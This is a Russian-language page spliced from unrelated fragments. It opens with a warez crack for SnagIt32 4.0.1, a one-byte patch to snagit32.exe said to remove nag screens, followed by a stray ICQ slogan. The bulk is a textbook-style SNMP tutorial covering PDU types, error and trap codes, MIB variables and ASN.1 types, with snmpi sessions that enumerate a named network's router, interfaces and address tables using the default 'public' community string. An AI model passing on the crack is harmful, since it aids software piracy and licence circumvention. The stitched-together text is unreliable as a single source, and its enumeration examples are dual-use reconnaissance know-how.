-------вырезать тут----------- SnagIt32 v [4.0.1] CRACK by vallkor//PTDS it'll remove all nag screens!!! snagit32.exe 0003F35E: 08 00 ------вырезать тут------------ВсЁ! исследовал и наваял туториал: vallkor //PTDS (vallkor@chat.ru)
Управляющий протокол SNMP.
| ICQ - мощное средство международного сношения. |
Internet - гигантская сеть. Напрашивается вопрос, как она сохраняет свою целостность и функциональность без единого управления? Если учесть разнородность ЭВМ, маршрутизаторов и программного обеспечения, используемых в сети, само существование Internet представится просто чудом. Так все же как решаются проблемы управления в Internet? Отчасти на этот вопрос уже дан ответ - сеть сохраняет работоспособность благодаря жесткой протокольной регламентации.
"Запас прочности" заложен в самих протоколах. Функции диагностики возложены, на протокол ICMP. Учитывая важность функции управления, для этих целей создано два протокола SNMP ( Simple Network Management Protocol - 1988г. ) и CMOT ( Common Management Information Services and Protocol over TCP/IP). Чаще всего управляющая прикладная программа воздействует на сеть по цепочке SNMP-UDP-IP-физическая_сеть. Наиболее важным объектом управления обычно является внешний порт сети или маршрутизатор. Каждому управляемому объекту присваивается уникальный идентификатор.
Протокол SNMP работает на базе протокола UDP и предназначен для использования сетевыми управляющими станциями. Он позволяет управляющим станциям собирать информацию о положении в сети Internet. Протокол определяет формат данных, их обработка и интерпретация остаются на усмотрение управляющих станций или менеджера сети. SNMP-сообщения не имеют фиксированного формата и фиксированных полей. При работе протокол SNMP использует управляющую базу данных (MIB — Management Information Base, RFC-1213,-1212).
Алгоритмы управления в Internet обычно описывают в нотации ASN.1 (Abstract Syntax Notation). Все объекты в Internet разделены на 10 групп и описаны в MIB: система, интерфейсы, обмены, трансляция адресов, IP, ICMP, TCP, UDP, EGP, SNMP. В группу "система" входит название и версия оборудования, операционной системы, сетевого программного обеспечения и пр. В группу "интерфейсы" входит число поддерживаемых интерфейсов, тип интерфейса, работающего под управлением IP (Ethernet, LAPB и т.д.), размер дейтограмм, скорость обмена, адрес интерфейса. IP-группа включает время жизни дейтограмм, информацию о фрагментации, маски субсетей и т.д. В TCP-группу входит алгоритм повторной пересылки, максимальное число повторных пересылок и пр. Команды SNMP приведены в табл. 1.15. В таблице PDU (Protocol Data Unit) - это тип протокольного сообщения.
| Команда SNMP | Тип PDU | Назначение |
| get_request | 0 | Получить значение указанной переменной или информацию о состоянии сетевого элемента |
| get_next_request | 1 | Получить значение переменной, не зная точного ее имени (следующий логический идентификатор на дереве MIB) |
| set_request | 2 | Присвоить переменной соответствующее значения. Используется для описания действие, которое должно быть выполнено |
| get_response | 3 | Отклик на get_request, get_next_request и set_request, Содержит также информацию о состоянии (коды ошибок и другие данные) |
| trap | 4 | Отклик сетевого объекта на событие или на изменение состояния |
Поле Версия содержит значение, равное номеру версии SNMP минус один. Поле Пароль (community - определяет группу доступа) содержит последовательность символов, которая является пропуском при взаимодействии менеджера и объекта управления. Обычно это поле содержит 6-байтовую строку public. Для запросов get, get-next и set значение поля Идентификатора запроса устанавливается менеджером и возвращается объектом управления в отклике get, что позволяет связывать в пары запросы и отклики. Поле Фирма (enterprise) = sysObjectlD объекта. Поле Статус ошибки характеризуется целым числом, присланным объектом управления (табл.1.16).
В последнее время широкое распространение получила идеология распределенного протокольного интерфейса DPI (Distributed Protocol Interface). Для транспортировки SNMP-запросов используется не только UDP-, но и TCP-протокол. Это дает возможность применять SNMP-протокол не только в локальных сетях. Форматы SNMP-DPI-запросов (версия 2.0) описаны в документе RFC-1592. Пример заголовка SNMP-запроса (изображенные поля образуют единый массив):
Поле Флаг = 0хЗ0 является признаком ASN.1-заголовка. Коды Ln представляют собой длины полей, начинающиеся с байта, который следует за кодом длины, вплоть до конца сообщения-запроса (n — номер поля длины), если не оговорено другое. Так, L1 - длина пакета-запроса от Т1 до конца пакета, a L3 — длина поля пароля. Субполя Tn — поля типа следующего за ними субполя запроса. Так, Т1=2 означает, что поле характеризуется целым числом, а Т2=4 указывает на то, что далее следует пароль (поле community, в приведенном примере Public). Цифры под рамками означают типовые значения субполей. Код ОхА является признаком GET-запроса, за ним следует поле кода PDU (=0...4, см. табл. 1.15). Блок субполей Идентификатора запроса служит для тех же целей, что и другие идентификаторы, — для определения пары запрос-отклик. Собственно идентификатор запроса может занимать один или два байта, что определяется значением Lиз. CO — статус ошибки (СО=0 - ошибки нет); ТМ — тип MIB-переменной (в приведенном примере Ох2В); ИО — индекс ошибки. Цифровой код MIB-переменной отображается последовательностью цифровых субполей, характеризующих переменную. Например, переменная 1.3.6.1.2.1.5 (в символьном выражении iso.org.dod.internet.mgmt.mib.icmp) соответствует последовательности кодов Ох2В 0хО6 0хО1 0хО2 0хО1 0хО5 0хО0.
| Статус ошибки | Имя ошибки | Описание |
| 0 | noError | Все в порядке |
| 1 | tooBig | Объект не может уложить отклик в одно сообщение |
| 2 | noSuchName | В операции указана неизвестная переменная |
| 3 | badValue | в команде set использована недопустимая величина или неправильный синтаксис |
| 4 | readOnly | менеджер попытался изменить константу |
| 5 | genErr | Прочие ошибки |
Если произошла ошибка, поле Индекс ошибки характеризует к какой из переменных это относится; индекс ошибки является указателем переменной и устанавливается объектом управления не равным нулю для ошибок badValue. Для команды trap (тип PDU-4 в табл. 1.15) формат сообщения меняется. Значения поля Тип trap приведены в табл. 1.17.
| Тип trap | Имя trap | Описание |
| 0 | coldStart | Установление начального состояния объекта |
| 1 | wannStart | Восстановление начального состояния объекта |
| 2 | linkDown | Интерфейс выключился. Первая переменная в сообщении идентифицирует интерфейс |
| 3 | linkUp | Интерфейс включился. Первая переменная в сообщении идентифицирует интерфейс |
| 4 | authenticationFailure | От менеджера получено SNMP-сообщение с Неверным паролем (community) |
| 5 | egpNeighborLoss | EGP-партнер отключился. Первая переменная в сообщении определяет IP-адрес партнера |
| 6 | entrpriseSpeclfic | Информация о trap содержится в поле Специальный код |
Для поля Тип trap 0…4 поле Специальный код должно быть равно нулю. Поле Временная метка содержит число сотых долей секунды (число тиков) с момента инициации объекта управления. Так, прерывание coldStart выдается объектом через 200 мс после инициализации.
Протокол SNMP служит примером системы управления, в которой для достижения нужного результата не выдается команда, а осуществляется обмен информацией, решение принимается "на месте" в соответствии с полученными данными.
Управляющая база данных MIB
Вся управляющая информация для контроля ЭВМ и маршрутизаторов Internet концентрируются в базе данных MIB (Management Information Base, RFC-1213). Именно эти данные используются протоколом SNMP. MIB определяет, например, что программное обеспечение IP должно хранить число всех октетов, которые приняты любым из сетевых интерфейсов, управляющие программы могут только читать эту информацию.
Согласно нормативам MIB управляющая информация делится на 8 категорий (табл. 1.18).
| MIB-категория | Описание |
| System | Операционная система ЭВМ или маршрутизация |
| Interfaces | Сетевой интерфейс |
| Addr. trans. | Преобразование адреса (напр., с помощью ARP) |
| Ip | Программная поддержка протоколов Internet |
| Icmp | Программное обеспечение протокола ICMP |
| Tcp | Программное обеспечение протокола TCP |
| Udp | Программное обеспечение протокола UDP |
| egp | Программное обеспечение протокола EGP |
В табл. 1.19 - 1.24 представлены наиболее важные объекты базы данных MIB, перечисленные в табл. 1.18.
Помимо простых переменных объектами MIB могут быть таблицы. Для каждой таблицы имеется один или несколько индексов.
| Системная переменная | Описание |
| SysDescr | Текстовое описание объекта |
| SysObjectID | Идентификатор производителя в рамках дерева (1.3.6.1.4.1) |
| SysUpTime | Время с момента последней загрузки системы (TimeTicks) |
| SysContact | Имя системного менеджера и способы связи с ним |
| SysName | Полное имя домена |
| SysLocation | Физическое местоположение системы |
| sysService | Величина, характеризует услуги, предоставляемые узлом (сумма номеров уровней модели OSI) |
| Переменная описания интерфейсов (ifTable) | Тип данных | Описание |
| IfIndex | INTEGER | Список интерфейсов от 1 до ifNumber |
| IfDescr | DisplayString | Текстовое описание интерфейса |
| IfType | INTEGER | Тип интерфейса, например, 6 - Ethernet; 9 - 802.5 маркерное кольцо; 23 - PPP; 28 - SLIP |
| IfNumber | INTEGER | Число сетевых интерфейсов |
| IfMtu | INTEGER | MTU для конкретного интерфейса |
| IfSpeed | Gauge | Скорость (бит/с) |
| IfPhysAddress | PhysAddress | Физический адрес или строка нулевой длины для интерфейсов без физического адреса (например, последовательный) |
| IfAdminStatus | [1…3] | Требуемое состояние интерфейса: 1 - включен; 2 - выключен; 3 - тестируется |
| IfOperStatus | [1…3] | Текущее состояние интерфейса: 1, 2, 3 |
| IfLastChange | TimeTicks | SysUpTime, когда интерфейс оказался в данном состоянии |
| ifInOctets | Counter | Полное число полученных байтов |
| ifInUcastPkts | Counter | Число пакетов, доставленных на верхний системный уровень (unicast) |
| ifInDiscads | Counter | Число полученных, но отвергнутых пакетов |
| ifInErrors | Counter | Число пакетов, полученных с ошибкой |
| ifOutOctets | Counter | Число отправленных байтов |
| ifOutUcastPkts | Counter | Число unicast-пакетов, полученных с верхнего системного уровня |
| ifOutNUcastPkts | Counter | Число мультикастинг- и широковещательных пакетов, полученных с верхнего системного уровня |
| ifOutDiscads | Counter | Количество отвергнутых пакетов из числа отправленных |
| ifOutErrors | Counter | Число отправленных пакетов, содержащих ошибки |
| ifOutQLen | Gauge | Число пакетов в очереди на отправку |
| Переменная ip-группы | Тип данных | Описание |
| ipDefaultTTL | INTEGER | Значение, которое используется IP в поле TTL |
| ipForwarding | [1…2] | 1 означает, что система переадресует дейтограммы (2 - нет) |
| ipInReceives | Counter | Число полученных дейтограмм |
| ipForwDatagrams | Counter | Число переадресованных дейтограмм |
| ipOutNoRoutes | Counter | Число неудач при маршрутизации |
| ipFragOKs | Counter | Число фрагментированных IP-дейтограмм |
| ipRoutingTable | Таблица IP маршрутов | |
| ipInHdrErrors | Counter | Число IP-дейтограмм, отвергнутых из-за ошибки в заголовке |
| ipInAddrErrors | Counter | Число IP-дейтограмм, отвергнутых из-за неверного адреса места назначения |
| ipInUnknownProtos | Counter | Число локально адресованных дейтограмм с неверным кодом протокола |
| ipInDiscards | Counter | Число дейтограмм, отвергнутых из-за нехватки места в буфере |
| ipInDelivers | Counter | Число доставленных дейтограмм |
| ipOutRequests | Counter | Полное число IP-дейтограмм, поступивших для пересылки без учета переадресованных |
| ipOutDiscards | Counter | Число отправляемых дейтограмм, потерянных из-за нехватки места в буфере |
| ipOutNoRoutes | Counter | Число потерянных IP-дейтограмм из-за отсутствия маршрута их доставки |
| ipReasmTimeout | Counter | Максимальное время (в секундах), которое IP-фрагмент может ждать сборки |
| ipReasmOKs | Counter | Число IP-дейтограмм, успешно прошедших сборку |
| ipReasmFails | Counter | Число случаев, когда алгоритм сборки не сработал |
| ipFragOKs | Counter | Число дейтограмм, успешно фрагментированных |
| ipFragFails | Counter | Число дейтограмм, которые нуждались в фрагментации, но не могли быть фрагментированы из-за того, что don't fragment_флаг=1 |
| ipFragCreates | Counter | Число фрагментов, созданных в процессе фрагментации |
| ipRoutingDiscards | Counter | Число маршрутных записей, помеченных для ликвидации, хотя они и корректны |
| IpAdEntAddr | Таблица IP-адресов (ipAddrTable), индекс =<ipAdEntAddr>. IpAddress IP-адрес для данного ряда | |
| IpAdEntIfIndex | INTEGER | Число интерфейсов |
| IpAdEntNetMask | IpAddress | Маска субсети для данного IP-адреса |
| IpAdEntBcastAddr | [0…1] | Значение младшего бита широковещательного адреса (обычно 1) |
| IpAdEntReasmMaxSize | [0…65535] | Размер наибольшей IP-дейтограммы, полученной интерфейсом, которая может быть собрана |
| Переменная tcp-группы | Тип данных | Описание |
| tcpRtoMin | INTEGER | Минимальное допустимое время повторной передачи TCP-пакетов |
| tcpRtoMax | INTEGER | Максимальное значение тайм-аута (в миллисекундах) |
| tcpMaxConn | INTEGER | Максимальное допустимое число TCP-соединений |
| tcpInSegs | Counter | Полное число полученных TCP-сегментов |
| tcpRtoAlgorithm | INTEGER | Алгоритм, используемый для вычисления тайм-аута: ни один из следующих; постоянное RTO; стандарт MIL-STD-1778; алгоритм Ван Джакобсона |
| tcpActiveOpens | Counter | Число переходов из состояния CLOSED в SYN_SENT |
| tcpPassiveOpens | Counter | Число переходов из состояния LISTEN в SYN_RCVD |
| tcpAttemptFails | Counter | Число переходов из состояния SYN_SENT или SYN_RCVD в CLOSED |
| tcpEstabResets | Counter | Число переходов из состояния ESTABLISHED или CLOSE_WAIT в CLOSED |
| tcpCurrEstab | Gauge | Число соединений, находящихся в состоянии ESTABLISHED или CLOSE_WAIT |
| tcpInSegs | Counter | Полное число полученных сегментов |
| tcpOutSegs | Counter | Полное число посланных сегментов, исключая повторно пересылаемые |
| tcpRetransSegs | Counter | Полное число повторно пересланных сегментов |
| tcpInErrs | Counter | Полное число сегментов, полученных с ошибкой |
| tcpOutRsts | Counter | Полное число посланных сегментов с флагом RST=1 |
| tcpConnState | [1…12] | tcpConnTable TCP-таблица связей. Состояние соединения: CLOSED; LISTEN; SYN_SENT; SYN_RCVD; ESTABLISHED; FIN_WAIT_1; FIN_WAIT_2; CLOSE_WAIT; LAST_ACK; CLOSING; TIME_WAIT; delete TCB. Только последняя переменная может устанавливаться менеджером, прерывая связь |
| tcpConnLocalAddress | IpAddress | Местный IP-адрес 0.0.0.0 означает, что приемник готов установить связь через любой из интерфейсов |
| tcpConnLocalPort | [0…65535] | Местный номер порта |
| tcpConnLocalAddress | IpAddress | Удаленный IP-адрес |
| tcpConnRemPort | [0…65535] | Удаленный номер порта |
| Переменная icmp-группы | Тип данных | Описание |
| icmpInEchos | Counter | Число полученных ICMP-запросов отклика |
| icmpInMsgs | Counter | Полное число полученных ICMP-сообщений |
| icmpInErrors | Counter | Число ICMP-сообщений, полученных с ошибками |
| icmpInDestUnreach | Counter | Число ICMP-сообщений о недостижимости адресата |
| icmpInTimeExcds | Counter | Число ICMP-сообщений об истечении времени |
| icmpInParmProbs | Counter | Число полученных ICMP-сообщений о проблемах с параметрами |
| icmpInSrcQuench | Counter | Число ICMP-сообщений с требованием сократить или прервать посылку пакетов из-за перегрузки |
| icmpInRedirects | Counter | Число ICMP-сообщений о переадресации |
| icmpInEchoReps | Counter | Число полученных ICMP-эхо-откликов |
| icmpInTimestamps | Counter | Число ICMP-запросов временных меток |
| icmpInAddrMasks | Counter | Число ICMP-запросов адресных масок |
| icmpOutMsgs | Counter | Число отправленных ICMP-сообщений |
| icmpOutErrors | Counter | Число неотправленных ICMP-сообщений из-за проблем (например, нехватка буферов) |
| icmpOutTimesExcds | Counter | Число посланных ICMP-сообщений об истечении времени |
| icmpOutParmProbs | Counter | Число посланных ICMP-сообщений о проблемах с параметрами |
| icmpOutQuench | Counter | Число посланных ICMP-сообщений об уменьшении потока пакетов |
| icmpOutRedirects | Counter | Число посланных ICMP-сообщений о переадресации |
| icmpOutEchos | Counter | Число посланных ICMP-эхо-запросов |
| icmpOutEchoReps | Counter | Число посланных ICMP-эхо-откликов |
| icmpOutTimestamps | Counter | Число посланных ICMP-эхо-запросов временных меток |
| icmpOutAddrMasks | Counter | Число посланных ICMP-эхо-запросов адресных масок |
| Переменные at-группы (atTable) | Тип данных | Описание |
| atIfIndex | INTEGER | Число интерфейсов |
| atPhysAddress | PhysAddress | Физический адрес. Если эта переменная равна строке нулевой длины, физический адрес отсутствует |
| atNetAddress | NetworkAddress | IP-адрес |
Каждый протокол (например, IP) имеет свою таблицу преобразования адресов. Для IP это ipNetToMediaTable. Способ пропечатать таблицу преобразования с помощью программы snmpi описан ниже.
В новейшей модификации управляющей базы данных (MIB II) содержатся объекты, принадлежащие к SNMP-группе. Эта группа предоставляет информацию о SNMP-объектах, информационных потоках, статистике ошибок (табл. 1.25).
| Название объекта | Описание |
| snmpInPkts | Число пакетов, полученных от слоя, расположенного ниже SNMP |
| snmpOutPkts | Число пакетов доставленных от SNMP к нижележащему слою |
| snmpInBadVersions | Индицирует число PDU, полученных с ошибкой в поле Версия |
| snmpInBadCommunityNames | Индицирует число сообщений PDU, полученных с нечитаемым или нелегальным именем community |
| snmpInASNParsErrs | Указывает число PDU, которые не могут быть преобразованы в объекты ASN.1, и наоборот |
| snmpInBadTypes | Указывает число полученных PDU с недешифруемым типом |
| snmpInTooBigs | Указывает число полученных PDU со слишком большим значением поля Статус ошибки |
| snmpInNoSuchNames | Указывает число PDU, полученных с индикацией ошибки в поле NoSuchName (см. табл. 1.16) |
| snmpInBadValues | Указывает число PDU, полученных с индикацией ошибки в поле BadValue (см. табл. 1.16) |
| snmpInReadOnlys | Указывает число PDU, полученных с индикацией ошибки в поле ReadOnly (см. табл. 1.16) |
| snmpInGenErrs | Указывает число PDU, полученных в GenErr-поле (см. табл. 1.16) |
| snmpInTotalReqVar | Указывает число объектов MIB, которые были восстановлены |
| snmpInTotalSetVars | Указывает число объектов MIB, которые были изменены |
| SnmpInGetRequests | |
| snmpInGetNexts | |
| snmpInSetRequests | |
| snmpInGetResposes | |
| snmpInTraps | Указывает число соответствующих PDU, которые были получены |
| snmpOutTooBig | Указывает число посланных PDU с полем TooBig |
| snmpOutNoSuchNames | Указывает число посланных PDU с полем NoSuchName |
| snmpOutBadValues | Указывает число посланных PDU с полем BadValue |
| snmpOutReadOnlys | Указывает число посланных PDU с полем ReadOnly |
| snmpOutGenErrs | Указывает число посланных PDU с полем GenErr |
| snmpEnableAuthTraps | Говорит о том, разрешены или нет ловушки (traps) |
| SnmpOutGetRequests | |
| snmpOutGetNexts | |
| snmpOutSetRequests | |
| snmpOutGetResposes | |
| snmpOutTraps | Указывает число соответствующих посланных PDU |
Стандарт на структуру управляющей информации (SMI) требует, чтобы все MIB-переменные были описаны и имели имена в соответствии с ASN.1 (Abstract Syntax Notation 1, формализованный синтаксис). ASN.1 является формальным языком, который обладает двумя основными чертами: нотация в документах легко читаема и понимаема; в компактном кодовом представлении информация может использоваться коммуникационными протоколами. В SMI присутствует неполный набор типов объектов, предусмотренный в ASN.1, разрешены только следующие типы примитивов: INTEGER, OCTET STRING, OBJECT IDENTIFIER и NULL. Практически в протоколе SNMP фигурируют следующие виды данных:
INTEGER. Некоторые переменные объявляются целыми (INTEGER) с указанием начального значения или с заданным допустимымы диапазоном значений (в качестве примера можно привести номера UDP- или TCP-портов). OCTET STRING (последовательность байтов). В соответствии с требованиями BER (Basic Encoding Rules, ASN.1) последовательность октетов должна начинаться с числа байтов в этой последовательности (от 0 до N). OBJECT IDENTIFIER (идентификатор объекта). Имя объекта, представляющее собой последовательность целых чисел, разделенных точками. Например, 1.3.6.1.2.1.5. NULL. Указывает, что соответствующая переменная не имеет значения. DisplayString. Строка из 0 или более байтов (но не больше 255), которые являются ASCII-символами. Представляет собой частный случай OCTET STRING. PhysAddress. Последовательность октетов, характеризующая физический адрес объекта (6 байт для Ethernet). Частный случай OBJECT IDENTIFIER. Сетевой адрес. Допускается выбор семейства сетевых протоколов. В рамках ASN.1 этот тип описан как CHOICE, он позволяет выбрать протокол из семейства протоколов. В настоящее время идентифицировано только семейство протоколов Internet. IP-адрес. Этот адрес используется для определения 32-разрядного Интернет - адреса. В нотации ASN.1 - это OCTET STRING. Time Ticks (такты часов). Положительное целое число, которое используется для записи, например, времени последнего изменения параметров управляемого объекта, или времени последней актуализации базы данных (время измеряется в сотых долях секунды). Gauge (масштаб). Положительное целое число в диапазоне 0..232-1, которое может увеличиваться или уменьшаться. Если это число достигнет 232-1, то будет оставаться неизменным до тех пор, пока не будет обнулено командой сброс. Примером может служить переменная tcpCurrEsta, которая характеризует число TCP-соединений, находящихся в состоянии ESTABLISHED или CLOSE_WAIT. Counter (счетчик). Положительное число в диапазоне 0..232-1, которое может только увеличиваться, допуская переполнение. SEQUENCE. Этот объект аналогичен структуре в языке Си. Например, MIB определяет SEQUENCE с именем UdpEntry, содержащую информацию об активных UDP-узлах. В этой структуре содержится две записи: UdpLocalAddress типа IpAddress; местные IP-адреса; UdpLocalPort типа INTEGER; номера местных портов. SEQUENCE OF. Описание вектора, все элементы которого имеют один и тот же тип. Элементы могут представлять собой простые объекты, например, типа целое. В этом случае мы имеем одномерный список. Но элементами вектора могут быть объекты типа SEQUENCE, тогда этот вектор описывает двумерный массив.В MIB Internet каждый объект должен иметь имя (OBJECT IDENTIFIER), синтакс и метод кодировки.
Стандарт ASN.1 определяет форму представления информации и имен. Имена MIB-переменных соответствуют в свою очередь стандартам ISO и CCITT. Структура имен носит иерархический характер.
В табл. 1.26 охарактеризованы четыре простые переменные. Все эти переменные допускают только чтение.
В табл. 1.27 приведено описание таблицы udpTable (index=<udpLocalAddress>,<udpLocalPort>), состоящей из двух простых переменных, предназначенных только для чтения.
Согласно иерархии переменные, соответствующие icmp, должны иметь префикс (идентификатор) 1.3.6.1.2.1.5 или в символьном выражении iso.org.dod.internet.mgmt.mib.icmp. Если вы хотите узнать значение какой-то переменной, следует послать запрос, содержащий соответствующие префикс и суффикс (последний определяет имя конкретной переменной). Для простой переменной суффикс имеет вид .0.
| Имя Переменной | Тип данных | Описание |
| UdpInDatagrams | Counter | Число UDP-дейтограмм, присланных процессам пользователя |
| UdpNoPorts | Counter | Число полученных UDP-дейтограмм, для которых отсутствует прикладной процесс в порте назначения |
| UdpInErrors | Counter | Число не доставленных UDP-дейтограмм (например, ошибка контрольной суммы) |
| UdpDatagrams | Counter | Число посланных UDP-дейтограмм |
| Имя Переменной | Тип данных | Описание |
| UdpLocalAddress | IpAddress | Местный IP-адрес для данного приемника |
| UdpLocalPort | (0...65535) | Местный номер порта приемника |
Лучшим способом закрепить в памяти все вышесказанное является использование программы snmpi (SNMP initiator или SNMPWALK, NETGUARD, SNMPMAN для PC). Если в вашем распоряжении имеется ЭВМ, работающая под управлением UNIX, например SUN, вы можете попутно узнать много полезного о вашей локальной сети. Синтаксис обращения к snmpi:
snmpi [-a agent] [-с community] [-f file] [-p portno] [-d] [-v] [-w] |
Программа snmpi крайне проста. Для того чтобы проверить, работает ли она, выдайте команду.
% snmpi dump |
Следует отметить, что в ответ на эту операций будет произведена весьма объемная выдача.
Опция -a предлагает возможность ввести адрес SNMP-обьекта: имя ЭВМ, IP-адрес или транспортный адрес. По умолчанию это местная ЭВМ. Аналогично опция -р позволяет задать номер UDP-порта. По умолчанию это порт 61. Опция -с позволяет задать групповой пароль (community) для SNMP-запроса. По умолчанию это public, т.е. свободный доступ. Опция -f позволяет выбрать файл, содержащий откомпилированные описания MIB-модулей. По умолчанию это objects.defs. Опция -w включает режим наблюдения, осуществляя выдачу на терминал всех служебных сообщений. Уход из программы - по команде quit (q).Если вы работаете на IBM PC, и ваша машина подключена к локальной сети, получите допуск к одной из UNIX-машин в сети (если вы его не имели) и приступайте. Можно начать с обращения типа.
Snmpi -a 193.124.224.33 |
(адрес или символьное имя надо взять из вашей локальной сети).
Машина откликнется, отобразив на экране snmpi>. Это означает, что программа имеется и вы можете вводить любые команды.
Начать можно со знакомства с системными переменными системы.
Snmpi> get sysDescr.0 Snmpi> sysDescr.0="GS Software (GS3-K), Version 9.1(4) [fc1], SOFTWARE Copyright ї 1986-1993 by Cisco Systems, Inc. Compiled Thu 25-Mar-93 09:49 by daveu" snmpi> get sysObjectID.0 snmpi> sys0bjectlD.0=1.3.6.1.4.1.9.1.1 snmpi> get sysUpTime.0 snmpi> sysUpTime.0=14 days, 7 hours, 0 minutes, 15.27 seconds (123481527 timeticks) snmpi> get sysServices.0 snmpi> sysServices.0=0x6<datalink/subnetwork, internet> |
Код 0x06 (sysServices.0) представляет собой сумму кодов уровней модели SO, поддерживаемых системой. Для справок: 0хО1 - физический уровень; 0хО2 связной уровень; 0хО4 - Интернет; 0хО8 - связь точка-точка; 0хЧ0 - прикладной уровень.
Если вы хотите получить информацию о состоянии интерфейсов на одной из ЭВМ, подключенных к вашей локальной сети (команды вызова snmpi далее не повторяются; в ниже приведенных примерах в круглых скобках помещены комментарии автора), выдайте команды:
snmpi> nextifTable |
(команда next в данном случае соответствует запросу get-next, здесь понятие "следующий" подразумевает порядок переменных в М1В).
snmpi> iflndex.1=1 snmpi> get ifDescr.1 snmpi> ifDescr.1="Ethernet0" snmpi> get ifType.1 snmpi> ifType.1=ethernet-csmacd (6) snmpi > get ifMtu.1 snmpi> IfMtu.1=1500 snmpi> get ifSpeed.1 snmpi> ifSpeed.1=10000000 (10М бит/с, Ethernet) snmpi> get ifPhysAddress.1 snmpi> ifPhysAddress.1=0хО0:00:0c:02:За:49 (физический адрес интерфейса) snmpi> next ifDescr.1 ifType.1 ifMtu.1 ifSpeed.1 ifPhysAddress.1 snmpi> ifDescr.2="Serial0" ifType.2=propPointToPointSerial(22) ifMtu.2=1500 ifSpeed.2=2048000 (2 M бит/с, радиорелейный последовательный канал, спутниковый канал был бы охарактеризован точно также) |
В приведенном примере размеры пересылаемых блоков для Ethernet и радиорелейного последовательного канала идентичны и равны 1500 байт. Помните, что SLIP-канал записан как PointToPointSerial, а не как SLIP. Скорость обмена по SLIP-каналу не сообщается.
Теперь просмотрим некоторые UDP-переменные. Например:
snmpi> next udp snmpi> udpInDatagrams.0=98931 snmpi> next udpInDatagrams.0 (обратите внимание на суффикс простой переменной) snmpi> udpNoPorts. 0=60009 snmpi> next udpLocalAddress.0 snmpi> udpLocalAddress.193.124.137.14.7=193.124.137.14 (Идентификатор этого объекта 1.3.6.1.2.1.7.5.1.1.193.124.137.14.7) snmpi> next udpLocalPort snmpi> udpLocalPort.193.124.137.14.7=7 |
Если у вас возникла необходимость просмотреть таблицу, например, udpTable, это также можно сделать, используя snmpi:
snmpi> next udpTable snmpi> udpLocalAddress.193.124.137.14.7=193.124.137.14 snmpi> next udpLocalAddress.193.124.137.14.7 snmpi> udpLocalAddress.193.124.224.33.67=193.124.224.33 snmpi> next udpLocalAddress.193.124.224.33.67 snmpi> udpLocalAddress.193.124.224.33.161=193.124.224.33 snmpi> next udpLocalPort.193.124.224.33.67 snmpi> udpLocalPort.193.124.224.33.161=161 |
Ниже показана методика выяснения алгоритма и параметров задания значения тайм-аута:
snmpi> get tcpRtoAlgorithm.0 tcpRtoMin.0 tcpRtoMax.0 tcpMaxConn.0 snmpi> tcpRtoAlgorithm.0=vanj(4) (vanj - алгоритм Ван Джакобсона для расчета времени тайм-аута) tcpRtoMin.0=300 (минимальное значение тайм-аута = 300 мс) tcpRtoMax.0=60000 (максимальное - 60 с) tcpMaxConn.0=-1 (никаких ограничений на число соединений) |
Чтобы получить информацию о состоянии таблицы адресных преобразований, выдайте команду snmpi -а 193.124.224.33 dump at (процедуры с использование субкоманды dump требуют некоторого времени для своего исполнения). В результате получим:
AtIfIndex.1.1.193.124.224.33=1 AtIfIndex.1.1.193.124.224.35=1 AtIfIndex.3.1.192.148.166.203=3 AtIfIndex.3.1.192.148.166.205=3 AtIfIndex.5.1.145.249.30.33=5 AtIfIndex.5.1.192.148.166.98=5 AtPhysAddress.1.1.193.124.224.33=0x00:00:0c:02:3a:49 AtPhysAddress.1.1.193.124.224.35=0x00:00:20:12:1b:b1 AtPhysAddress.1.1.193.124.224.40=0x00:00:cd:f9:0d:e7 AtPhysAddress.1.1.193.124.224.50=0x00:00:0c:02:fb:c5 AtNetAddress.1.1.193.124.224.33=193.124.224.33 AtNetAddress.1.1.193.124.224.35=193.124.224.35 AtNetAddress.1.1.193.124.224.40=193.124.224.40 AtNetAddress.1.1.193.124.224.50=193.124.224.50 AtNetAddress.1.1.193.124.224.60=193.124.224.60 |
(текст выдачи сокращен).
Обычно элементы таблицы расположены в порядке колонка-ряд. Если вы дошли до края колонки или всей таблицы, ЭВМ выдаст (в зависимости от реализации программы) имя и значение следующего элемента или сообщение об ошибке.
Чтобы получить полный текст адресной таблицы в рамках snmpi достаточно выдать команду.
Snmpi> dump ipAddrTable Snmpi> ipAdEntAddr.192.148.166.222=192.148.166.222 IpAdEntAddr.192.168.1.1=192.168.1.1 IpAdEntAddr.192.168.1.2=192.168.1.2 IpAdEntAddr.193.124.224.33=193.124.224.33 IpAdEntAddr.193.124.224.190=193.124.224.190 IpAdEntIfIndex.192.148.166.222=3 IpAdEntIfIndex.192.148.1.1=4 IpAdEntIfIndex.192.148.1.2=6 IpAdEntIfIndex.192.148.224.33=1 IpAdEntIfIndex.192.148.224.190=5 |
(маски субсетей).
IpAdEntNetMask.192.148.166.222=255.255.255.224 IpAdEntNetMask.192.148.1.1=255.255.255.0 IpAdEntNetMask.192.148.1.2=255.255.255.0 IpAdEntNetMask.192.148.224.33=255.255.255.224 IpAdEntNetMask.192.148.224.190=255.255.255.224 IpAdEntBcastAddr.192.148.166.222=1 (все эти субсети используют для широковещательной адресации одни и те же биты). IpAdEntBcastAddr.192.148.1.1=1 IpAdEntBcastAddr.192.148.1.2=1 IpAdEntBcastAddr.192.148.224.33=1 IpAdEntBcastAddr.192.148.224.190=1 IpAdEntReasmMaxSize.192.148.166.222=18024 (с точки зрения фрагментации и последующей сборки дейтограмм данные субсети эквивалентны). IpAdEntReasmMaxSize.192.148.1.1=18024 IpAdEntReasmMaxSize.192.148.1.2=18024 IpAdEntReasmMaxSize.192.148.224.33=18024 IpAdEntReasmMaxSize.192.148.224.190=18024 |
Эта распечатка совместно с приведенной для IfTable позволяет получить достаточно полную картину о данной конкретной локальной сети. Чтобы познакомиться с ARP таблицей, можно воспользоваться командой.
Sun> arp -a Itepgw.itep.ru (193.124.224.33) at 0:0:c:2:3a:49 Nb.itep.ru (193.124.224.60) at 0:80:ad:2:24:b7 |
И дополнить полученные данные с помощью snmpi:
